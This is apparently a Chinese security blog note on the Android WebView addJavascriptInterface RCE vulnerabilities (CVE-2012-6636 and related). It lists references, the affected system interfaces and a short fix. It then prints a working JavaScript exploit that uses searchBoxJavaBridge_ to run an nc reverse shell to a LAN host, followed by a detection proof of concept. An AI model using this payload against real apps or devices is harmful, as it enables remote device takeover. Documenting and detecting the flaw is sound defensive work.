Android Webview RCE

参考资料

关键字
searchboxjavabridge

我读书少,你不要骗我
http://blog.kainaodong.com/?p=26
Android WebView RCE漏洞 指尖安全
https://www.secfree.com/article-280.html

WebView漏洞,为何是打不死的小强?
https://jaq.alibaba.com/blog.htm?id=89

简要说明

涉及漏洞
CVE-2012-6636,
CVE-2013-4710,
CVE-2014-1939,
CVE-2014-7224

相关接口
addJavascriptInterface,
searchBoxJavaBridge_
accessibility
accessibilityTraversal

解决方法

这几个漏洞意思大概就是,虽然自己App不使用addJavascriptInterface了,但是系统的一些功能用到了addJavascriptInterface接口,大概有三个:searchBoxJavaBridge 、accessibility 、 accessibilityTraversal。
对于API17以下,使用WebView控件的时候,不光要记得重载addJavascriptInterface为空方法,还要主动移除searchBoxJavaBridge

反弹 shell exp

反弹shell (reverse shell)

1
2
3
4
5
6
7
8
<script>
function execute(cmdArgs)
{
return searchBoxJavaBridge_.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
}
execute(["/system/bin/sh","-c","nc 192.168.1.100 8888|/system/bin/sh|nc 192.168.1.100 6666"]);
alert("nice shell");
</script>

POC

检测 POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>WebView 漏洞检测</title>
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=0">
</head>
<body>
<p>
<b>如果当前 app 存在漏洞,将会在页面中输出存在漏洞的接口方便程序员做出修改:</b>
</p>
<script type="text/javascript">
function check()
{
for (var obj in window)
{
try {
if ("getClass" in window[obj]) {
try{
window[obj].getClass();
document.write('<span style="color:red">'+obj+'</span>'); document.write('<br />');
}catch(e){
}
}
} catch(e) {
}
}
} check();
</script>
</body>
</html>